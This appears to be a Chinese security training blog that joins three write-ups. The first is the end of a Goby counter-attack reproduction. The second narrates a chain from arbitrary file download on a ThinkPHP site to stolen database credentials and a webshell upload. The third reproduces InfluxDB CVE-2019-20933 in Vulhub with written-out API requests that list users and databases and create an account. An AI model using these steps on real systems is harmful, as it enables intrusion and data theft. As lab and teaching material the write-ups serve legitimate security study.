到这里,Nginx中间件的网站算是复现成功,但是还没结束,因为Apache等中间件会默认会包含X-Powered-By,这对Goby来说是不利于识别我们在X-Powered-By构造payload的,因此许多师傅只能在Nginx环境下复现成功,其实Apache环境也是可以复现成功的
Apache环境复现
为了让我们构造的X-Powered-By不和Apache自身默认的X-Powered-By造成冲突,我们需要在Apache中禁用默认的X-Powered-By。我们打开Apache的配置文件httpd.conf,文件中任意空白处添加
ServerTokens Prod
//将ServerTokens设置为Prod将隐藏Apache版本信息和X-Powered-By头
添加完后,记得重启Apache服务,按照和Nginx一样的步骤也可以复现成功
最后
此Goby反制虽然是一个已经修复很久的漏洞了,但是基数上还是会有许多人在使用着存在漏洞的Goby版本,对应地在公网上也存在很多反制Goby的蜜罐,在攻防演练中也有可能用得上,故做此分析供各位师傅参考。
记一次任意文件下载到Getshell
任意文件下载(Arbitrary File Download)是一种常见的 Web 攻击技术,用于窃取服务器上任意文件的内容。攻击者利用应用程序中的漏洞,通过构造恶意请求,使应用程序将任意文件(如配置文件、敏感数据等)发送给攻击者。一旦攻击者成功利用这种漏洞,就可以从服务器上获取应用程序所拥有的任意文件,并且可以获取到这些文件的敏感信息。
在日常的渗透中,看到下载功能是可以去看一下有没有该漏洞的,利用下载获取源码或数据库配置文件及系统敏感文件为后续出思路 在日常渗透中,应该注重前台的每个功能点,最好做个Checklist。
0x01 任意文件下载
1.进行测试
在本次渗透中 首页->资料下载->公共资料 去点击该功能进行测试
2.发现敏感路径
看到此链接,感觉很有机会,继续尝试
3.尝试下载index.php
发现成功下载,嘿嘿去找找 ThinkPHP 数据库配置文件在哪先
4.尝试下载数据库配置文件
先去百度一下,ThinkPHP3.2的目录结构
最终在/Application/Common/Conf/目录下找到了数据库配置文件
/Application/Common/Conf/config.php
0x02 尝试连接数据库
5.获取数据库账号密码
好,数据库账号密码到手,接下来看看端口开放在外网没有
发现数据库端口开在外网
6.连接数据库
成功连上数据库
7.查看管理员账号密码
这个 MD5 只能看一眼,多看一眼就是123456
0x03 寻找后台
8.寻找后台
好,后台管理员账号密码都有了,那么后台呢。。。
目录扫描没扫出来,前台仔细找找也没有
那时候卡了我好久。。。。。。
9.细心决定成败
再回到那个数据库配置文件,找到那个被忽视的神秘路径。。
原来它一直在这里等我,是我忽视它了
成功找到后台
0x04 有手就行文件上传
10.进入后台后寻找功能点
11.记住该分类
12.上传Webshell
抓包直接把jpg修改php就可以上传成功,但是没有回显
13.成功Getshell
在前台找到自己刚刚上传选择的分类,复制下载链接,即可得到Webshell地址
收工!
记录一次时序数据库的实战测试
0x1.背景
在某次Edusrc挖掘过程中,我发现了一个404状态码的ip站如下图所示:
我的直觉告诉我,这个站不太简单。于是我信息搜集了一下端口为8086的常见服务:
当我看到这个InfluxDB的时候,我灵感突然来了,虽然我当时不知道是什么,我尝试着进行抓包看看返回包,但是多尝试一下没想到这个站点还真的是InfluxDB服务!
后续利用我先不讲,我们先好好讲一下InfluxDB是一个怎么样的数据库。
0x3.InfluxDB介绍
InfluxDB是一个由InfluxData开发的开源时序型数据库。它由Go写成,着力于高性能地查询与存储时序型数据。InfluxDB被广泛应用于存储系统的监控数据,IoT行业的实时数据等场景。
在了解了InfluxDB的基本概念之后我们得先了解一下什么是时序性数据库。
为了方便理解我将时序性数据库与大家常用的关系型数据库进行一个以表格的形式进行对比展示:
然后我也整理了一下MySQL与InfluxDB概念差异和相关概念扩展用一个表格来进行对比展示:
然后这里整理了一些常见的 InfluxQL Http Api的语句:
GET /query?q=SHOW USERS #查看当前所有的数据库用户
GET /query?q=SHOW DATABASES #查看所有数据库
GET /query?q=SHOW MEASUREMENTS&db=某个db的名称 #查询数据库中所含的表
GET /query?q=SHOW FIELD KEYS&db=某个db的名称 # 查看当前数据库所有表的字段
GET /query?q=show series&db=某个db的名称 # 查看series
GET /debug/vars #debug敏感泄露
POST /query?q=CREATE USER XXX WITH PASSWORD 'XXX' # 这一点需要伪造jwt
0x3.本地漏洞复现
实战的利用过程就不放上来了,放上来也是厚码还不如直接本地复现讲的更清楚。
使用Vulhub在本地虚拟机上搭建:
没有搭建过vulhub靶场可以参考官方文档:https://vulhub.org/#/docs/install-docker/
搭建好后我们直接使用如下命令:
cd /vulhub/influxdb/CVE-2019-20933
docker-compose up -d
开放在默认的8086端口,环境启动后,访问xxx:8086即可开始复现:
虽然是404,但是抓包回显发现是influxdb服务
我简单尝试之后发现是弱口令admin/admin。如果发现弱口令不可以的话,可以伪造jwt我就不多赘述了。
然后我们来进行测试:
debug敏感泄露
GET /debug/vars
查看当前所有的数据库用户
GET /query?q=SHOW USERS
查看所有数据库
GET /query?q=SHOW DATABASES
查询数据库中所含的表
GET /query?q=SHOW MEASUREMENTS&db=某个db的名称
查看当前数据库所有表的字段
GET /query?q=SHOW FIELD KEYS&db=某个db的名称
查看series
GET /query?q=show series&db=某个db的名称
任意用户写
POST /query?q=CREATE USER XXX WITH PASSWORD 'XXX'
GET /query?q=SHOW USERS
再来查看一下:
最后别忘了关闭容器:
docker stop cve-2019-20933_web_1
0x5.总结
这篇主要是分享一下经验,也就是说不一定状态码是404的站点就一定不能利用。我相信阅读完此篇然后去复现一下,你对InfluxDB的利用肯定有不一样的理解~
蚁景网安学院火热招生中,限时领取大额优惠券,快来抢购吧~
扫码咨询客服了解招生最新内容和活动

